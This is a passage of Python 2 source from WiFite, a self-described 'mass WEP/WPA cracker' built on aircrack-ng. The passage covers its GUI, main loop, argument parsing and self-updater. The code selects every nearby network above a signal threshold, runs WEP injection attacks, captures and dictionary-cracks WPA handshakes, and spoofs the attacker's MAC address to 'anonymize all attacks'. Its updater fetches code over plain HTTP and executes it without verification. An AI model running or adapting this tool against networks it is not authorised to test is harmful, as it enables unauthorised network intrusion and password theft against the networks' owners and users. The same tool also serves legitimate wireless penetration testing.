############################################################ GUI!
class App:
""" class for creating the GUI
the GIU passes arguments to the script
"""
def __init__(self, master):
global USING_XTERM
setenctype='WEP and WPA'
setchan =6
setallchan=1
setpower =50
setselarg =0
setallpow =1
setdict ='/pentest/passwords/wordlists/darkc0de.lst'
setwepw ='10'
setwependl=0
setwpaw ='5'
setwpaendl=0
setpps =500
setarp =1
setchop =1
setfrag =1
setp0841 =1
setmac =1
setauth =0
setanon =0
try:
f=open('.wifite.conf','r')
txt=f.read()
lines=txt.split('\n')
f.close()
for i in xrange(0, len(lines)):
l=lines[i].strip()
if l == '-nowep':
setenctype='WPA'
elif l == '-nowpa':
setenctype='WEP'
elif l == '-c':
try:
setchan=int(lines[i+1])
setallchan=0
except ValueError:
pass
i+=1
elif l == '-p':
try:
setpower=int(lines[i+1])
setallpow=0
except ValueError:
pass
i+=1
elif l == '-d':
setdict=lines[i+1]
i+=1
elif l == '-wepw':
if lines[i+1] == '0':
setwependl=1
else:
setwepw=lines[i+1]
i+=1
elif l == '-wpaw':
if lines[i+1] == '0':
setwpaendl=1
else:
setwpaw=lines[i+1]
i+=1
elif l == '-pps':
try:
setpps=int(lines[i+1])
except ValueError:
pass
i+=1
elif l == '-noarp':
setarp=0
elif l == '-nochop':
setchop=0
elif l == '-nofrag':
setfrag=0
elif l == '-no0841':
setp0841=0
elif l == '-keepmac':
setmac=0
elif l == '-f':
setauth=1
elif l == '-console':
setselarg=1
elif l == '-anon':
setanon=1
except IOError:
pass
f0nt=('FreeSans',9,'bold')
frame = Frame(master, width=250, height=150)
frame.grid()
r=0
w=Label(frame, font=f0nt, text='interface:')
w.grid(row=r, column=0, sticky='E')
self.iface = StringVar(frame)
(lst,default)=self.ifacelist()
print GR+'[+] '+W+'wireless devices: "'+G+ ', '.join(lst) +W+'"'
updatesqlstatus('[+] wireless devices: "' + ', '.join(lst) +'"')
if lst == [] or len(lst) == 0:
print GR+'[!] '+R+'no wireless adapaters found'
print GR+'[!] '+O+'make sure your wifi card is plugged in, then check airmon-ng'
print W
if USING_XTERM:
print GR+'[!] '+W+'close this window at any time to exit wifite'+W
else:
print GR+'[!] '+W+'the program is unable to continue and will now exit'
sys.exit(0)
elif len(lst) == 1:
if lst[0].strip() == '':
print GR+'[!] '+R+'no wireless adapaters found'
print GR+'[!] '+O+'make sure your wifi card is plugged in, then check airmon-ng'
print W
if USING_XTERM:
print GR+'[!] '+W+'close this window at any time to exit wifite'+W
else:
print GR+'[!] '+W+'the program is unable to continue and will now exit'
sys.exit(0)
self.iface.set(default)
w=apply(OptionMenu, (frame, self.iface) + tuple(lst))
w.config(takefocus=1, width=25, font=f0nt)
w.grid(row=r,column=1,columnspan=2, sticky='W')
r+=1
w=Label(frame, font=f0nt, text='encryption type:')
w.grid(row=r, column=0, sticky='E')
self.enctype = StringVar(frame)
self.enctype.set(setenctype)
w=OptionMenu(frame, self.enctype, 'WEP', 'WPA', 'WEP and WPA')
w.config(takefocus=1, width=15, font=f0nt)
w.grid(row=r,column=1, columnspan=2,sticky='W')
r+= 1
w=Label(frame, text='channel:', font=f0nt)
w.grid(row=r,column=0, sticky=E)
self.channel=Scale(frame, orient=HORIZONTAL, from_=1, to_=14, resolution=1, length=120, takefocus=1,\
troughcolor='black', sliderlength=30, sliderrelief=FLAT, relief=FLAT, font=f0nt,\
activebackground='red')
self.channel.grid(row=r, column=1, sticky='W')
self.channel.set(setchan)
self.allchan=IntVar(frame)
self.allchan.set(setallchan)
self.click_channel()
self.chkallchan=Checkbutton(frame, text='all channels', variable=self.allchan, command=self.click_channel, font=f0nt,\
activeforeground='red')
self.chkallchan.grid(row=r, column=2, sticky='W')
r+= 1
w=Label(frame, text=' ', font=('',5,''))
w.grid(row=r,columnspan=3)
r+=1
self.selectarg=IntVar(frame)
self.selectarg.set(setselarg)
w=Checkbutton(frame, text='select targets from list', variable=self.selectarg, command=self.click_selectarg,\
font=f0nt, activeforeground='red')
w.grid(row=r, column=1, columnspan=2,sticky='W')
r+= 1
w=Label(frame, text='minimum power:', font=f0nt)
w.grid(row=r,column=0, sticky='E')
self.power=Scale(frame, orient=HORIZONTAL, from_=1, to_=100, resolution=1, length=120, takefocus=1,\
troughcolor='black', sliderlength=20, relief=FLAT, sliderrelief=FLAT, font=f0nt,\
activebackground='red')
self.power.grid(row=r, column=1, sticky='W')
self.power.set(setpower)
self.power.config(state=DISABLED)
self.all=IntVar(frame)
self.all.set(setallpow)
self.click_power()
self.chkeveryone=Checkbutton(frame, text='everyone', variable=self.all, command=self.click_power, font=f0nt, activeforeground='red')
self.chkeveryone.grid(row=r, column=2, sticky='W')
if self.selectarg.get() != 0:
self.power.config(state=DISABLED, troughcolor='black')
self.chkeveryone.config(state=DISABLED)
r+= 1
w=Label(frame, text=' ', font=('',5,''))
w.grid(row=r,columnspan=3)
r+= 1
w=Label(frame, text='dictionary:', font=f0nt)
w.grid(row=r, column=0, sticky='E')
self.dict=StringVar()
self.dicttxt=Entry(frame, font=f0nt, width=22, textvariable=self.dict)
self.dicttxt.grid(row=r, column=1, columnspan=2, sticky='W')
self.dicttxt.delete(0, END)
self.dicttxt.insert(0, setdict)
w=Button(frame, text="...", font=('FreeSans',7,''), height=0,command=self.lookup, activebackground='red')
w.grid(row=r, column=2, sticky='E')
r+= 1
w=Label(frame, text=' ', font=('',5,''))
w.grid(row=r,columnspan=3)
r+=1
w=Label(frame, text='wep timeout (min):', font=f0nt)
w.grid(row=r,column=0)
self.wepw=StringVar(frame)
self.weptxt=Entry(frame, justify=CENTER, width=3, textvariable=self.wepw, font=f0nt)
self.weptxt.grid(row=r, column=1, sticky='W')
self.weptxt.delete(0, END)
self.weptxt.insert(0, setwepw)
self.wepwendless=IntVar(frame)
self.wepwendless.set(setwependl)
w=Checkbutton(frame, text='endless',variable=self.wepwendless, font=f0nt, activeforeground='red',\
command=self.click_wependless)
w.grid(row=r, column=1, sticky='E')
self.click_wependless()
r+=1
w=Label(frame, text='wpa timeout (min):', font=f0nt)
w.grid(row=r,column=0)
self.wpaw=StringVar(frame)
self.wpatxt=Entry(frame, justify=CENTER, width=3, textvariable=self.wpaw, font=f0nt)
self.wpatxt.grid(row=r, column=1, sticky='W')
self.wpatxt.delete(0, END)
self.wpatxt.insert(0, setwpaw)
self.wpawendless=IntVar(frame)
self.wpawendless.set(setwpaendl)
w=Checkbutton(frame, text='endless',variable=self.wpawendless, font=f0nt, activeforeground='red',\
command=self.click_wpaendless)
w.grid(row=r, column=1, sticky='E')
self.click_wpaendless()
r+= 1
w=Label(frame, text=' ', font=('',5,''))
w.grid(row=r,columnspan=3)
r += 1
w=Label(frame, text='wep options:', font=f0nt)
w.grid(row=r, column=0, sticky='E')
self.weparp=IntVar()
self.weparp.set(setarp)
w=Checkbutton(frame, text='arp-replay', variable=self.weparp, font=f0nt, activeforeground='red')
w.grid(row=r, column=1, sticky='W')
self.wepchop=IntVar()
self.wepchop.set(setchop)
w=Checkbutton(frame, text='chop-chop', variable=self.wepchop, font=f0nt, activeforeground='red')
w.grid(row=r, column=2, sticky='W')
r=r+1
self.wepfrag=IntVar()
self.wepfrag.set(setfrag)
w=Checkbutton(frame, text='fragmentation', variable=self.wepfrag, font=f0nt, activeforeground='red')
w.grid(row=r, column=1, sticky='W')
self.wep0841=IntVar()
self.wep0841.set(setp0841)
w=Checkbutton(frame, text='-p 0841', variable=self.wep0841, font=f0nt, activeforeground='red')
w.grid(row=r, column=2, sticky='W')
r=r+1
self.wepmac=IntVar()
self.wepmac.set(setmac)
w=Checkbutton(frame, text='change mac', variable=self.wepmac, font=f0nt, activeforeground='red')
w.grid(row=r,column=1, sticky='W')
self.wepauth=IntVar()
self.wepauth.set(setauth)
w=Checkbutton(frame, text='ignore fake-auth', variable=self.wepauth, font=f0nt, activeforeground='red')
w.grid(row=r,column=1, columnspan=2, sticky='E')
r=r+1
w=Label(frame, text='packets/sec:', font=f0nt)
w.grid(row=r, column=0, sticky='E')
self.weppps=Scale(frame, orient=HORIZONTAL, from_=100, to_=1500, resolution=50, length=190, font=f0nt,\
troughcolor='gray', activebackground='red', relief=FLAT, sliderrelief=FLAT)
self.weppps.grid(row=r, column=1, columnspan=2, sticky='W')
self.weppps.set(setpps)
r+= 1
w=Label(frame, text=' ', font=('',5,''))
w.grid(row=r,columnspan=3)
self.anony=IntVar()
self.anony.set(setanon)
w=Checkbutton(frame, text='anonymize all attacks', variable=self.anony, font=f0nt, activeforeground='red')
w.grid(row=r,column=1, columnspan=2,sticky='W')
r += 1
w = Button(frame, text="h4x0r 1t n40", font=('FreeSans', 20, 'bold'), relief=FLAT, height=2,fg="white", bg="red", \
highlightbackground='white', highlightcolor='red', command=self.execute,activebackground='darkred',\
activeforeground='white')
w.grid(row=r,columnspan=3)
r+=1
w=Label(frame, text=' ', font=('',5,''))
w.grid(row=r,columnspan=3)
sw = root.winfo_screenwidth()
sh = root.winfo_screenheight()
w=350
h=550
x = sw/2 - w/2
y = sh/2 - h/2
root.geometry("%dx%d+%d+%d" % (w,h,x,y))
root.update()
root.deiconify()
def click_wpaendless(self):
if self.wpawendless.get() == 1:
self.wpatxt.config(state=DISABLED)
else:
self.wpatxt.config(state=NORMAL)
def click_wependless(self):
if self.wepwendless.get() == 1:
self.weptxt.config(state=DISABLED)
else:
self.weptxt.config(state=NORMAL)
def click_channel(self):
if self.allchan.get() == 0:
self.channel.config(state=NORMAL, troughcolor='gray')
else:
self.channel.config(state=DISABLED, troughcolor='black')
def click_selectarg(self):
if self.selectarg.get() == 0:
self.chkeveryone.config(state=NORMAL)
if self.all.get() == 0:
self.power.config(state=NORMAL, troughcolor='gray')
else:
self.power.config(state=DISABLED, troughcolor='black')
self.chkeveryone.config(state=DISABLED)
def click_power(self):
if self.all.get() == 0:
self.power.config(state=NORMAL, troughcolor='gray')
else:
self.power.config(state=DISABLED, troughcolor='black')
def lookup(self):
file=tkFileDialog.askopenfile(parent=root, mode='rb',title='select a passwordlist')
if file != None:
self.dicttxt.delete(0, END)
self.dicttxt.insert(0, file.name)
def ifacelist(self):
# looks up all interfaces in airmon-ng
# returns a tuple, the list of ifaces, and the 'default' -- the one in monitor mode
global USING_XTERM
lst=[]
proc=subprocess.Popen(['airmon-ng'], stdout=subprocess.PIPE)
txt=proc.communicate()[0]
if txt == '':
return [],''
for line in txt.split('\n'):
if line != '' and line.find('Interface') == -1:
line = line.replace('\t',' ')
lst.append(line.strip())
default=''
proc=subprocess.Popen(['iwconfig'], stdout=subprocess.PIPE, stderr=subprocess.PIPE)
txt=proc.communicate()[0]
if txt == '':
if len(lst) > 0:
return lst, lst[0]
else:
return [], 0
for line in txt.split('\n'):
if line.find('Mode:Monitor') != -1:
dev=line[:line.find(' ')].strip()
for x in lst:
if dev == x[:x.find(' ')].strip():
default=x
break
if default != '':
break
if len(lst) == 0:
print R+'[!] no wireless interfaces were found!'
print R+'[!] run airmon-ng; check your wireless drivers'
if USING_XTERM:
print GR+'[!] '+W+'close this window at any time to exit wifite'+W
else:
print GR+'[!] '+W+'the program is unable to continue and will now exit'
sys.exit(0)
return lst, default
def execute(self):
global root
cmd=[]
# interface
temp=self.iface.get()
cmd.append('-i')
cmd.append(temp[:temp.find(' ')])
# encryption
if self.enctype.get() == 'WPA':
cmd.append('-nowep')
elif self.enctype.get() == 'WEP':
cmd.append('-nowpa')
# channel
if self.allchan.get() == 0:
cmd.append('-c')
cmd.append(str(self.channel.get()))
# select targets or not
if self.selectarg.get() == 0:
# don't select targets from list; either attack all or certain power range
# power
if self.all.get() != 0:
cmd.append('-all')
else:
cmd.append('-p')
cmd.append(str(self.power.get()))
else:
# select targets from a list... just say '-console'
cmd.append('-console')
# dictionary
temp=self.dicttxt.get()
cmd.append('-d')
if os.path.exists(temp) and temp != '' and temp != 'none':
cmd.append(temp)
else:
cmd.append('none')
# wep timeout
cmd.append('-wepw')
if self.wepwendless.get() == 1:
cmd.append('0')
else:
cmd.append(self.wepw.get())
# wpa timeout
cmd.append('-wpaw')
if self.wpawendless.get() == 1:
cmd.append('0')
else:
cmd.append(self.wpaw.get())
if self.weparp.get() != 1:
cmd.append('-noarp')
if self.wepchop.get() != 1:
cmd.append('-nochop')
if self.wepfrag.get() != 1:
cmd.append('-nofrag')
if self.wep0841.get() != 1:
cmd.append('-no0841')
if self.wepmac.get() == 0:
cmd.append('-keepmac')
if self.wepauth.get() == 1:
cmd.append('-f')
if self.anony.get() == 1:
cmd.append('-anon')
cmd.append('-pps')
cmd.append(str(self.weppps.get()))
cmd.append('xterm')
# save settings
f=open('.wifite.conf','w')
f.write(str('\n'.join(cmd)))
f.close()
t=threading.Thread(target=self.doit, args=(cmd,))
t.start()
root.destroy()
#print '[+] exiting...'
updatesqlstatus('[+] exiting...')
def doit(self, args):
global THEFILE
cmd=['xterm','-bg','black','-fg','white','-T','WiFite','-geom','110x30+0+0','-hold','-e','python',THEFILE]
for a in args:
cmd.append(a)
print GR+'[+] '+G+'executing: '+W+ './' + THEFILE+' ' + ' '.join(args)
updatesqlstatus('[+] executing: ./' + THEFILE+' ' + ' '.join(args))
try:
subprocess.call(cmd)
except AttributeError:
pass
############################################################################### upgrade methods
def get_revision():
""" checks the googlecode page
returns a tuple with info on the latest revision:
revision_number, description, last_modified
returns -1, '' ,'' if page could not be loaded properly
"""
irev =-1
desc =''
since=''
sock = urllib.urlopen('http://code.google.com/p/wifite/source/list?path=/trunk/wifite.py')
page = sock.read()
# get the revision
start= page.find('href="detail?r=')
stop = page.find('&', start)
if start != -1 and stop != -1:
start += 15
rev=page[start:stop]
try:
irev=int(rev)
except ValueError:
rev=rev.split('\n')[0]
print R+'[+] invalid revision number: "'+rev+'"'
# get the description
start= page.find(' href="detail?r='+str(irev)+'', start + 3)
start= page.find('">',start)
stop = page.find('</a>', start)
if start != -1 and stop != -1:
start += 2
desc=page[start:stop].strip()
desc=desc.replace("'","'")
desc=desc.replace("<","<")
desc=desc.replace(">",">")
# get the time last modified
start= page.find(' href="detail?r='+str(irev)+'', start + 3)
start= page.find('">',start)
stop = page.find('</a>', start)
if start != -1 and stop != -1:
start += 2
since=page[start:stop]
return (irev, desc, since)
def update():
""" the 'ui' portion of upgrading.
uses get_revision(), compares that revision to this script's revision number,
tells user they're already updated if revisions are equal.
prompts to upgrade if we're out of date,
if user types 'y', runs upgrade()
"""
global REVISION
try:
print GR+'[+] '+W+'checking for updates...'
r,d,t=get_revision()
r=int(r)
if r == -1:
print GR+'[+] '+R+'unable to access code.google.com; aborting update'
elif r > REVISION:
print GR+'[+] '+W+'there is a '+G+'new version'+W+' of wifite.py! (r'+str(r)+')'
print GR+'[+] '+W+'changes:'+W
print GR+' -'+d.replace('\n','\n -')
print GR+'[+] '+W+'updated '+G+t+W+'\n'
print GR+'[+] '+W+'do you want to '+G+'download and upgrade'+W+' wifite.py? (y/n): '
ans=raw_input()
if ans.lower()[0] == 'y':
upgrade()
else:
print GR+'[+] '+W+'upgrading '+O+'aborted'+W+''
elif r == REVISION:
print GR+'[+] '+W+'your copy of wifite.py is '+G+'up to date'
else:
print GR+'[+] '+W+'you somehow have a '+G+'futuristic revision'+W+' of wifite.py'
except KeyboardInterrupt:
print R+'[+] ^C interrupted; aborting updater'
def upgrade():
global THEFILE
""" downloads latest version of wifite.py, saves as wifite_new.py
creates shell script that deletes the old wifite.py and puts the new wifite_new.py in it's place
changes permissions on the new wifite.py so it is executable
also, it lets the user know what is happening
exits after it is ran
"""
print GR+'[+] '+G+'downloading'+W+' update...'
sock = urllib.urlopen('http://wifite.googlecode.com/svn/trunk/wifite.py')
page = sock.read()
if page == '':
print R+'[+] unable to download script; exiting'
return
# create/save the new script
f=open('wifite_new.py','w')
f.write(page)
f.close()
# create/save a shell script that replaces this script with the new one
f=open('update_wifite.sh','w')
f.write('#!/bin/sh\n')
f.write('rm -rf '+THEFILE+'\n')
f.write('mv wifite_new.py '+THEFILE+'\n')
f.write('rm -rf update_wifite.sh\n')
f.write('chmod +x '+THEFILE+'\n')
#f.write('python',THEFILE,'-h')
f.close()
# change permissions on the script
subprocess.call(['chmod','+x','update_wifite.sh'])
#print GR+'[+] '+G+'launching'+W+' new version...'
subprocess.call(['sh','update_wifite.sh'])
print GR+'[+] '+G+'updated!'+W+' type "./'+THEFILE+'" to run again'
############################################################################### main
def main():
global root
""" where the magic happens """
global IFACE, ATTACK, DICT, THIS_MAC, SKIP_TO_WPA, CRACKED, HANDSHAKES, NO_XSERVER
global TIME_STARTED, TIME_REMAINING, ORIGINAL_MAC, ANONYMOUS_MAC
ATTEMPTS=0
try:
# print banner
#print '\n wifite.py; wep/wpa cracker\n'
banner()
if not check_root():
print R+'[+] must be run as '+O+'root'+O+'!'
print R+'[+] type '+O+'su'+R+' to login as root'
print R+'[+] the program will now exit'
print W
return
aircrack_warning()
# handle arguments
if len(sys.argv) > 1:
handle_args(sys.argv)
print ''
elif not NO_XSERVER:
# no arguments; run the GUI
root.title('WiFite GUI')
print GR+'[+] '+W+'launching '+G+'gui interface'+W
app = App(root)
app
root.mainloop()
root = None
#print GR+'[+] '+W+'include '+G+'-help'+W+' for more options\n'
#time.sleep(1)
return
# check if 'wordlist.txt' is in this folder;
if DICT == '' and os.path.exists('wordlist.txt'):
DICT='wordlist.txt'
# find/get wireless interface
find_mon()
# check if current interface is an intel4965 chipset...
check_intel()
# get the current mac address for IFACE
THIS_MAC = getmac()
# find and display all current targets to user
gettargets()
# user has selected which APs to attack
# check if we need a dictionary
dict_check() # get dictionary from user if need be
# calculate estimated time remaining
TIME_STARTED=time.time()
TIME_REMAINING=0
for x in ATTACK:
index = (x - 1)
if TARGETS[index][2].startswith('WPA'):
if WPA_MAXWAIT == 0:
TIME_REMAINING=0
break
TIME_REMAINING+=WPA_MAXWAIT
elif TARGETS[index][2].startswith('WEP'):
if WEP_MAXWAIT == 0:
TIME_REMAINING=0
break
if WEP_ARP:
TIME_REMAINING+=WEP_MAXWAIT
if WEP_CHOP:
TIME_REMAINING+=WEP_MAXWAIT
if WEP_FRAG:
TIME_REMAINING+=WEP_MAXWAIT
if WEP_P0841:
TIME_REMAINING+=WEP_MAXWAIT
if TIME_REMAINING != 0:
# only print estimated time remaining if no attack times are 'endless'
t=sec2hms(TIME_REMAINING).split(':')
s=''
if t[0] != '0':
s=t[0] + ' hour'
if t[0] != '1':
s+='s'
s+=', '
s+=t[1] + ' minute'
if t[1] != '01':
s+='s'
print ''
print GR+'[+] '+W+'estimated maximum wait time is '+O+s+W
updatesqlstatus('[+] estimated maximum wait time is '+s)
# change mac address if we're using the -anon option
if ANONYMOUS_MAC != '' and len(ATTACK) != 0:
ORIGINAL_MAC=THIS_MAC
print GR+'[+] '+G+'changing'+W+' mac address to '+O+ANONYMOUS_MAC+O+'...',
updatesqlstatus('[+] changing mac address to '+ANONYMOUS_MAC+'...')
sys.stdout.flush()
subprocess.call(['ifconfig',IFACE,'down'])
subprocess.call(['macchanger','-m',ANONYMOUS_MAC,IFACE],stdout=open(os.devnull,'w'),stderr=open(os.devnull,'w'))
subprocess.call(['ifconfig',IFACE,'up'])
print ' '+G+'changed!'
for x in ATTACK:
ATTEMPTS += 1 # increment number of attempts
attack(x - 1) # subtract one because arrays start at 0
# if user breaks during an attack and wants to skip to cracking...
if SKIP_TO_WPA:
break
# change mac address back (if we used the -anon option) before starting the cracks
if ORIGINAL_MAC != '':
print GR+'[+] '+G+'changing'+W+' mac address back to '+O+str(ORIGINAL_MAC)+W+'...',
sys.stdout.flush()
subprocess.call(['ifconfig',IFACE,'down'])
subprocess.call(['macchanger','-m',ORIGINAL_MAC,IFACE],stdout=open(os.devnull,'w'),stderr=open(os.devnull,'w'))
subprocess.call(['ifconfig',IFACE,'up'])
print G+"changed"+W
if len(WPA_CRACK) > 0 and DICT != '':
# we have wpa handshakes to crack!
# format is ['filename', 'ssid']
print '' # blank line to space things out
for i in xrange(0, len(WPA_CRACK)):
wpa_crack(i)
if WPA_CRACK[len(WPA_CRACK)-1] == ['','','']:
WPA_CRACK.remove(['','',''])
break
# at this point, the attacks are complete.
print W
# check if we tried to crack a WPA...
had_wpa=False
for x in ATTACK:
if TARGETS[x-1][2].startswith('WPA'):
had_wpa=True
break
# these if statements are for colors and plural fixing.
# could've just done a one-liner, but this looks prettier
if len(ATTACK) == 1:
print GR+'[+] '+W+'attack is '+W+'complete'+W+':',
else:
print GR+'[+] '+W+'attacks are '+W+'complete'+W+':',
if ATTEMPTS==1:
print O+'1 attempt,',
else:
print O+str(ATTEMPTS) + ' attempts,',
if had_wpa:
# only print handshakes if we cracked or targetted a WPA network
extra=''
temp=len(WPA_CRACK) - HANDSHAKES
if temp > 0:
extra=O+' ('+str(temp)+' pre-captured)'+W
if HANDSHAKES==0:
print R+str(HANDSHAKES)+' handshakes'+W+extra+',',
elif HANDSHAKES==1:
print G+'1 handshake'+W+extra+',',
else:
print G+str(HANDSHAKES)+' handshakes'+W+extra+',',
if DICT != '':
# only display amount cracked if user specified a dictionary
if CRACKED == 0:
print R+str(CRACKED)+' cracked'+W
else:
print G+str(CRACKED)+' cracked'+W
else:
# only targeted WEP network(s), only display attempted/cracked (not handshakes)
if CRACKED == 0:
print R+str(CRACKED)+' cracked'+W
else:
print G+str(CRACKED)+' cracked'+W
# display the log
if len(THE_LOG) > 0:
print GR+'[+] '+G+'session summary:'+W
for i in THE_LOG:
print GR+' -'+i
print W
if USING_XTERM:
print W
print GR+'[!] '+W+'close this window at any time to exit wifite'+W
except KeyboardInterrupt:
print GR+'\n[!] '+O+'^C interrupt received, '+R+'exiting'+W
############################################################################### aircrack warning
def aircrack_warning():
required =['airmon-ng','aircrack-ng','airodump-ng','aireplay-ng','packetforge-ng']
recommended=['macchanger','pyrit','cowpatty']
req=''
rec=''
for r in required:
if subprocess.Popen(['which',r],stdout=subprocess.PIPE).communicate()[0].strip() == '':
req += ' '+R+r+W+','
for r in recommended:
if subprocess.Popen(['which',r],stdout=subprocess.PIPE).communicate()[0].strip() == '':
rec += ' '+R+r+W+','
if req.endswith(','):
req=req[:len(req)-1]
if rec.endswith(','):
rec=rec[:len(rec)-1]
if req != '':
print GR+'[+] '+O+'WARNING:'+W+' '+G+'required'+W+' packages/apps were not found:'+W+req
if rec != '':
print GR+'[+] '+O+'WARNING:'+W+' '+G+'recommended'+W+' packages/apps were not found'+W+rec
outp = subprocess.Popen(['aircrack-ng'],stdout=subprocess.PIPE,stderr=open(os.devnull,'w')).communicate()
for line in outp:
if line == None:
break
if line.strip() != '' and line.find('1.0') != -1:
print GR+'[+] '+R+'ERROR:'+O+' aircrack-ng 1.1 '+W+'is required;'+O+' '+R+'aircrack-ng 1.0'+O+' was found!'+W
break
############################################################################### intel 4965 check
def check_intel():
global IFACE, HAS_INTEL4965
out = subprocess.Popen(['airmon-ng'],stdout=subprocess.PIPE,stderr=open(os.devnull,'w')).communicate()[0]
for line in out.split('\n'):
if line.find(IFACE) != -1 and line.find('Intel 4965') != -1:
print GR+'[+] '+W+'intel4965 chipset '+G+'detected'+W+'\n'
HAS_INTEL4965=True
return
HAS_INTEL4965=False
############################################################################### banner
def banner():
global REVISION
""" displays the pretty app logo + text """
print ''
print G+" .;' `;, "
print G+" .;' ,;' `;, `;, "+W+"WiFite r"+str(REVISION)
print G+".;' ,;' ,;' `;, `;, `;, "
print G+":: :: : "+GR+"( )"+G+" : :: :: "+GR+"mass WEP/WPA cracker"
print G+"':. ':. ':. "+GR+"/_\\"+G+" ,:' ,:' ,:' "
print G+" ':. ':. "+GR+"/___\\"+G+" ,:' ,:' "+GR+"designed for backtrack4"
print G+" ':. "+GR+"/_____\\"+G+" ,:' "
print G+" "+GR+"/ \\"+G+" "
print W
############################################################################### check_root
def check_root():
""" returns True if user is root, false otherwise """
if os.getenv('LOGNAME','none').lower() == 'root':
return True
return False
############################################################################### handle args
def handle_args(args):
""" handles arguments, sets global variables if specified """
global IFACE, WEP, WPA, CHANNEL, ESSID, DICT, WPA_MAXWAIT, WEP_MAXWAIT, STRIP_HANDSHAKE
global W, BLA, R, G, O, B, P, C, GR # colors
global WEP_ARP, WEP_CHOP, WEP_FRAG, WEP_P0841, TEMPDIR, EXIT_IF_NO_FAKEAUTH # wep attacks
global REVISION, THEFILE, CHANGE_MAC, ORIGINAL_MAC, ANONYMOUS_MAC, USING_XTERM, AUTOCRACK
global TIMEWAITINGCLIENTS, SCAN_MAXWAIT, CRACK_WITH_PYRIT
# first loop, finds '-no-color' in case the user doesn't want to see any color!
for a in args:
#nocolor
if a == '-no-color' or a == '--no-color' or a == '-nocolor':
# no colors, blank out the colors
W = ""
BLA= ""
R = ""
G = ""
O = ""
B = ""
P = ""
C = ""
GR = ""
print '[+] colors have been neutralized :)\n'
break
# second loop, look for 'help' or 'upgrade' because these are single-servin arguments
# the program will terminate after these commands are issued
for a in args:
#HELP
if a == 'h' or a == 'help' or a == '-h' or a == '?' or a == '/?' or a == 'commands':
halp()
subprocess.call(['rm','-rf',TEMPDIR])
sys.exit(0)
elif a == '--help' or a == '-help':
halp(True)
subprocess.call(['rm','-rf',TEMPDIR])
sys.exit(0)
elif a == '-update' or a == '--update' or a == '-upgrade' or a == '--upgrade':
# upgrayedd
update()
subprocess.call(['rm','-rf',TEMPDIR])
sys.exit(0)
elif a == '-v' or a == '-version' or a == '-V' or a == '--version' or a == 'version':
print GR+'[+] '+W+'current wifite revision: '+G+'r'+str(REVISION)+W
print GR+'[+] '+W+'run '+G+'./wifite.py -upgrade'+W+' to check for latest version'
sys.exit(0)
# second loop, for hte other options
i = 0
while (i < len(args)):
a = args[i]
if a == '-i' or a == '--iface':
try:
IFACE=args[i+1]
print GR+'[+] '+W+'using wireless interface "'+G + IFACE + W+'"'
updatesqlstatus('[+] using wireless interface "' + IFACE + '"')
except IndexError:
print R+'[!] error! invalid argument format'
print R+'[!] the program will now exit'
print W
subprocess.call(['rm','-rf',TEMPDIR])
sys.exit(0)
i+=1
elif a == '-c' or a == '--chan':
try:
CHANNEL=args[i+1]
print GR+'[+] '+W+'only looking for networks on '+G+'channel '+ CHANNEL + W+''
except IndexError:
print R+'[!] error! invalid argument format'
print R+'[!] the program will now exit'
print W
subprocess.call(['rm','-rf',TEMPDIR])
sys.exit(0)
i+=1
elif a == '-e' or a == '--essid' or a == '-essid':
try:
ESSID=args[i+1]
if ESSID.lower() == 'all' or ESSID.lower() == '"all"':
if ESSID.startswith('pow>'):
print O+'[!] already targeting essids with power greater than '+ESSID[4:]+'dB'+W
else:
ESSID = 'all'
print GR+'[+] '+W+'targeting essid "'+G + ESSID + W+'"'
updatesqlstatus('[+] targeting essid "' + ESSID + '"')
except IndexError:
print R+'[!] error! invalid argument format'
print R+'[!] the program will now exit'
print W
subprocess.call(['rm','-rf',TEMPDIR])
sys.exit(0)
i+=1
elif a == '-all' or a == '--all':
if ESSID.startswith('pow>'):
print O+'[!] already targeting essids with power greater than '+ESSID[4:]+'dB'+W
else:
ESSID = 'all'
print GR+'[+] '+W+'targeting essid "'+G + ESSID + W+'"'
updatesqlstatus('[+] targeting essid "' + ESSID + '"')
elif a == '-p' or a == '--power':
try:
tempint=int(args[i+1])
except IndexError:
print R+'[!] error! invalid argument format'
print R+'[!] the program will now exit'
print W
subprocess.call(['rm','-rf',TEMPDIR])
sys.exit(0)
except ValueError:
print R+'[!] invalid power level!'
print R+'[!] enter -e pow>## where ## is a 1 or 2 digit number'
print R+'[!] example: ./'+THEFILE+' -e pow>55'
print W
subprocess.call(['rm','-rf',TEMPDIR])
sys.exit(0)
print GR+'[+] '+W+'targeting networks with signal power greater than '+G+ str(tempint)+'dB'+W
ESSID='pow>'+str(tempint)
elif a == '-d' or a == '--dict' or a == '-dict':
try:
DICT=args[i+1]
print GR+'[+] '+W+'using dictionary "'+G + DICT + W+'"'
except IndexError:
print R+'[!] error! invalid argument format'
print R+'[!] the program will now exit'
print W
subprocess.call(['rm','-rf',TEMPDIR])
sys.exit(0)
i+=1
elif a == '-nowpa' or a == '--no-wpa':
print GR+'[+] '+W+'only scanning for '+G+'WEP-encrypted networks'+W
WPA=False
elif a == '-nowep' or a == '--no-wep':
print GR+'[+] '+W+'only scanning for '+G+'WPA-encrypted networks'+W
WEP=False
elif a == '-wpaw' or a == '--wpa-wait':
try:
WPA_MAXWAIT=int(args[i+1])*60
print GR+'[+] '+W+'set wpa handshake wait time:',
if WPA_MAXWAIT == 0:
print G+'unlimited'
else:
print G+str(WPA_MAXWAIT/60)+' minutes'
except Exception:
print R+'[!] error! invalid arguments'
print R+'[!] the program will now exit'
print W
subprocess.call(['rm','-rf',TEMPDIR])
sys.exit(0)
i=i+1
elif a == '-wepw' or a == '--wep-wait':
try:
WEP_MAXWAIT=int(args[i+1])*60
print GR+'[+] '+W+'set wep attack wait time:',
if WEP_MAXWAIT == 0:
print G+'unlimited'
else:
print G+str(WEP_MAXWAIT/60)+' minutes'
except Exception:
print R+'[!] error! invalid arguments'
print R+'[!] the program will now exit'
print W
subprocess.call(['rm','-rf',TEMPDIR])
sys.exit(0)
i=i+1
elif a == '-twclients' or a == '--timewaitingclients':
try:
TIMEWAITINGCLIENTS=int(args[i+1])
print GR+'[+] '+W+'set Time waiting clients: '+G+str(TIMEWAITINGCLIENTS)+' seconds'
except Exception:
print R+'[!] error! invalid arguments'
print R+'[!] the program will now exit'
print W
subprocess.call(['rm','-rf',TEMPDIR])
sys.exit(0)
i=i+1
elif a == '-scanw' or a == '--scan-wait':
try:
SCAN_MAXWAIT=int(args[i+1])
print GR+'[+] '+W+'set target scan wait time:',
if SCAN_MAXWAIT == 0:
print G+'unlimited'
else:
print G+str(SCAN_MAXWAIT)+' seconds'
except Exception:
print R+'[!] error! invalid arguments'
print R+'[!] the program will now exit'
print W
subprocess.call(['rm','-rf',TEMPDIR])
